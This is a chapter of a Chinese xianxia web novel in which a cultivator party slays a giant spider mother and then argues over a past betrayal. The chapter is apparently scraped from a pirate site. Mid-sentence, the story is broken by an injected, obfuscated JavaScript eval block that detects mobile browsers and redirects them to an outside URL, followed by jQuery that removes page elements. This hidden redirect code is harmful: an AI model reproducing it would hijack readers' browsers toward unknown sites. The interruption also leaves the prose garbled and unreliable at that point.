56. 战利品

    蛛母原本只是一只不足拇指大的毒蜘蛛,吸收了天地灵气,逐渐长到了成人拳头大小。


    机缘巧合之下,方无戍一头栽进了蛛网里,蛛母对送上门来的口粮自然来者不拒,张着大嘴往方无戍胳膊上咬了一口。


    毒物遇上毒物,自然是谁更毒谁就是赢家。


    蛛母大难不死,方无戍给它取了“小丫”这个名字,从此吃香的喝辣的,快哉快哉!不巧的是树大招风,太过耀眼嚣张总会招来祸事,他们被自称正道的修士群起而攻之,不得已逃进了山河图,心惊胆战地躲了半个月,终于逃过了那只红毛鸟的追杀。


    后来,一人一蛛在龙生坟作威作福两百余年,玄牝之门又开启了,本想干一票大的,结果方无戍居然被几个毛都没长齐的龟孙给嘎了。


    小丫很生气,后果很严重!成千上万只子子孙孙都进了它的肚子,小丫长得比小山还高,脊背上坚硬的甲壳顶开了土地,它跺一跺脚,地面都要抖上三抖。


    小丫迈着八条大长腿冲出了地底,还没在地面上站稳,就有人给了它兜头一鞭子,滋啦滋啦冒着电,酥麻感从头顶直抵足尖。


    小丫尖啸一声,徒子徒孙们纷纷爬上了它的背,爬不上去的围在它身边打掩护。


    燎原之火不知从何处而来,澎湃火浪灼烧着蜘蛛怪的身躯,它们吱哇乱叫着横冲直撞,原本紧密有序的队形一下子便散了,小丫也被烫得跳脚,空气中弥漫着皮肉被烤熟的焦香。


    “哗——”


    水声震耳欲聋,大河忽然改变了流向,汹涌的河水如脱缰的野马,一边咆哮着一边奔涌而来。浑身灼热的蜘蛛怪们要么被大河冲走,要么一见到救命的河水,便纷纷下饺子一般跳进了河水之中,就像是热铁汲进冷水里一般,蜘蛛怪身上“滋滋”作响,浓重的白气弥漫开来。


    蜘蛛怪很快便折损了大半,只有四只体型较大的蜘蛛怪还坚守在小丫四周,而小丫背上的徒子徒孙不到五十只。


    “轰隆——”


    夜空之上不知何时飘来了一朵乌云,一阵刺眼的白光过后,粗壮的闪电贯通天空与大地,结结实实劈在了小丫一家人身上,红色的蜘蛛怪顿时被劈成了黑色。


    小丫疼得尖啸一声,巨口源源不断向头顶吐出了结实的蛛丝,将一大家子都罩了起来。


    又是一声巨响,然而并非源于头顶,而是地下。


    一条粗壮的木龙从小丫脚下钻了出来,直接将庞大如山的蛛母撞飞了出去,那坚不可摧的蜘蛛网自然没了用武之地。


    四个蜘蛛怪虽然灵智未开,但也清楚危险源于远处,它们一个接一个口吐蛛丝,想要将木龙的身躯和四周的树木山石裹在了一起。


    然而木龙比它们想象中要狡猾得多,它嘴里叼着蛛母,在半空中横冲直撞,遇到蛛丝也不躲,很快,蛛母和木龙一起被困在了密不透风的蛛丝之中。


    四个干啥啥不成,吃啥啥不剩的蜘蛛怪终于将老母亲带进了坑里,然而等待它们的不是老母的谩骂,而是一把闪着火光的剑。先是被烈火灼烧,又是被冷水冲刷,蜘蛛怪的甲壳已经变得十分脆弱,那剑不费吹灰之力就劈开了它们的身体。


    小丫以仰躺的姿势被蛛丝固定在半空中,徒子徒孙的血溅到了它的身上。小丫怒不可遏,竟然让几个小杂毛爬到了它的头顶作威作福,简直是欺蛛太甚!


    它发出刺耳的尖啸,八条腿用力一蹬,便扯断了缠绕全身的蛛丝,然而尚未在地面上站稳,低语声就从从四面八方传了过来,一串串闪着金光的梵文如同枷锁,拴住了它的八条腿,将它整个蛛都吊了起来。


    小丫敏锐地捕捉到了一缕危险的气息,它低头一看,只见一个人影迅疾如风,一瞬间便从远处蹿到了它面前。


    它朝那人影吐出千万条蛛丝,却被灵活地躲开,那人的身影时而出现在石后,时而出现在树梢,令蛛眼花缭乱,防不胜防,一个不小心就让那人蹿到了自己身下。


    小丫心中警铃大作,八条腿奋力挣扎起来,想要护住腹中命门,然而它刚挣脱梵文枷锁,尖锐的疼一下子席卷全身。


    尖啸与雷鸣同时响起,冲天雷电狠狠击在小丫身上,“轰隆——”巨大的身躯重重砸在了地面上,将土地砸出了一个巨大的坑,整座秘境都好像抖了一抖。


    乌云散去,皎洁的月光重新降临人间。


    -


    “死了吗?”


    元赫举着萤石蹑手蹑脚地靠近躺在地上无声无息的巨大蛛母,二十步,十步,五步,他拿起一旁的树枝捅了捅蛛母的一条腿——没有动静,用灵力打在它的脑壳上也毫无反应。


    死了。


    元赫猛地舒了一口气,朝悬崖边等待的人招手,高呼道:“死了!我们成功了!”


    躲在树林不远处严阵以待的柳逸直和翟子续也纷纷松了口气。


    柳逸直走到了月光下,他抬头一看,闫扶音双手环胸立在悬崖边,距离隔得太远,他看不清她的神色,只隐约瞧见她好像轻轻笑了笑,然后伸出手勾了勾手指,他掌心的参剑便剧烈震动起来,柳逸直一松手,参剑便破空而去,飞进了运筹帷幄的姑娘手中。


    她举起参剑对着月光看了看,似乎在确认没有损坏之处,然后转身离开了崖边。


    柳逸直低下头,用手背揩了揩脸上溅到的血,无声地笑了笑。


    娄雪沁如释重负,累得瘫倒在了地上,哭丧着脸:“终于结束了,老娘的腰哎……”


    崖下三人陆陆续续飞了上来,调息的调息,清洗的清洗,刚刚结束了一场恶战,众人的心情都比较轻松愉悦,娄雪沁甚至一边撩起裤腿在水里泡脚,一边毫无心里负担的放声歌唱。


    柳逸直坐在树下调息,脚步声由远及近,最终停在了他面前,他睁开眼,见闫扶音居高临下地看着自己。


    “你还需要多久?”她问道。


    柳逸直挑眉:“怎么,你很着急?”


    岚孟不着痕迹地瞥了远处的夏澜熹一眼,看向柳逸直的眼睛,催促道:“是,所以你快点。”


    柳逸直腹诽道,怎么就像是耗子见了猫一样。


    河边,翟子续烦不甚烦,终于朝娄雪沁道:“好吵,你能不能把嘴闭上?”


    娄雪沁“切”了一声,“真是山猪吃不了细糠。”


    余光瞥见树下的两人,她推了推翟子续的胳膊,“你看,我就说他们俩关系变好了吧?”


    翟子续纳闷地看着树下说话的两人,皱眉道:“没看出来。你老关注他们做什么?有这功夫还不如好好调息恢复伤势。”


    娄雪沁瞪了他一眼,没好气道:“天底下怎么会有你这样的蠢人。”


    翟子续的火气“噌”地一下就上来了,然而还不等他绝地反击,话题中的两人便朝自己走了过来。


    柳逸直问道:“我们打算即刻启程,你们要和我们一起走,还是再休息会?”


    翟子续面露疑惑:“这么着急做什么?不是说龙生坟夜里不安全吗?”


    岚孟淡淡道:“现在最大的威胁已经除掉了,其他的不足为惧。”


    娄雪沁灵光一闪,她一拍手掌:“对了,我们还没分战利品呢,那蛛母肯定值不少钱。”


    破妄境红玉蜘蛛怪的尸体可不好得,不论是拿去卖了还是去炼器煅甲,都是稳赚不赔的买卖。柳逸直有些意动,他看向站在自己身侧的闫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926824|154049||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扶音,对方冷着一张脸,感觉她还是想要现在就走。


    她究竟在顾虑什么?夏首座又不是洪水猛兽,论修为,她们俩大差不差,若是真打起来,她也不一定会落入下风。


    莫非是因为上次给寸微云传修为时亏损的元气还没好全?


    很快,柳逸直就得到这个问题的答案了。


    夏澜熹伸手拦在岚孟身前,直直盯着她漆黑的眼瞳,开门见山道:“那夜,在落霞坞南园,放走贺舟晏的人是你吧?”


    柳逸直和元赫惊讶得瞪大了眼睛。


    翟子续和娄雪沁则是一头雾水。


    贺舟晏是谁?


    “夏首座何出此言?贺舟晏是谁?”岚孟问道,她的脸皮厚如城墙,说起谎话来脸不红心不跳,已经将扯谎这项技能练得炉火纯青了。


    夏澜熹不相信她的鬼话,只相信自己的判断,她沉声道:“我记得你的灵气,闫扶音。”


    岚孟勾了勾唇,“夏首座,我都不认识你说的那人,根本不知道你在说什么。凡事要讲求证据,夏首座空口白牙污蔑友宗的弟子,这不太好吧?还是说这就是禅宗一贯的作风?”


    这是霜笛教她的对峙法则。俗话说解决事情要大事化小,小事化了,而与人吵架时得反着来。人家说你不守妇道,你就该回敬他一句欺师灭祖;人家说你不知廉耻,你就要说他祖宗十八代出门都不穿裤衩子,没脸没皮。


    把小往大了说,把个人上升到家族门派,只要对方有廉耻心有责任心,不信他不会为了维护自己身后之人的利益而急红了眼,谁不要脸,谁就是赢家。


    夏澜熹确实没有证据,总不能把她脑海里记忆挖出来给人看,对比一下两股灵力是不是一模一样吧?


    不过她也没有被闫扶音话中的含沙射影给唬到,她的唇边勾起一抹温柔的笑,含沙射影道:“闫道友故意遮掩修为,藏头露尾的,可不像是光明磊落的丹灵卫该有的作风,不知道的还以为你有什么不可告人的秘密呢。”


    岚孟笑了一下,“瞧您这话说的,谁身上没有点不可对外人言说的秘密,难不成每一个人都能问心无愧坦坦荡荡吗?那岂不是人人都是圣人了?”


    元赫警惕地盯着岚孟,柳逸直也握紧了玉白骨扇,两伙人各自较着劲,谁也不让谁,空气中弥漫着浓重的火药味。


    只有毫不知情的娄雪沁和翟子续夹在中间,里外不是人。


    半晌,夏澜熹率先打破了僵局,她放话道:“闫扶音,我记住你了,下次,你不会有这样的好运气。”


    岚孟微笑:“在下还是那句话,在指责别人有罪之前,请拿出有力的证据。”


    夏澜熹冷哼一声,甩袖离开。元赫瞪了岚孟一眼,扛着罗宜的尸体追了上去。


    崖顶只剩下自己人。


    娄雪沁举起手,问道:“贺舟晏到底是谁啊?”


    岚孟耸耸肩,“不知道。”她径直走到树前坐下调息,看样子是不打算走了。


    柳逸直对上两对好奇与疑惑交织的眼神,掩唇咳了一声,岔开话题道:“那蛛母还在底下躺着呢,夏首座他们一声不吭地走了,看来是放弃这个战利品了,我们去处理一下吧。”


    翟子续眼睛一亮:“对对,我要用蛛母脑壳上的壳甲淬剑!”他急匆匆跳下了悬崖。


    娄雪沁欲言又止,但见闫扶音和柳逸直都没有解释的意思,只好跟着跳下了悬崖。


    “不打算解释一下?”柳逸直回头问道。


    岚孟闭着眼睛,道:“我不都说了,不认识,不清楚,不知道。”


    好吧。


    柳逸直飞下悬崖。


    看来答案还得自己找。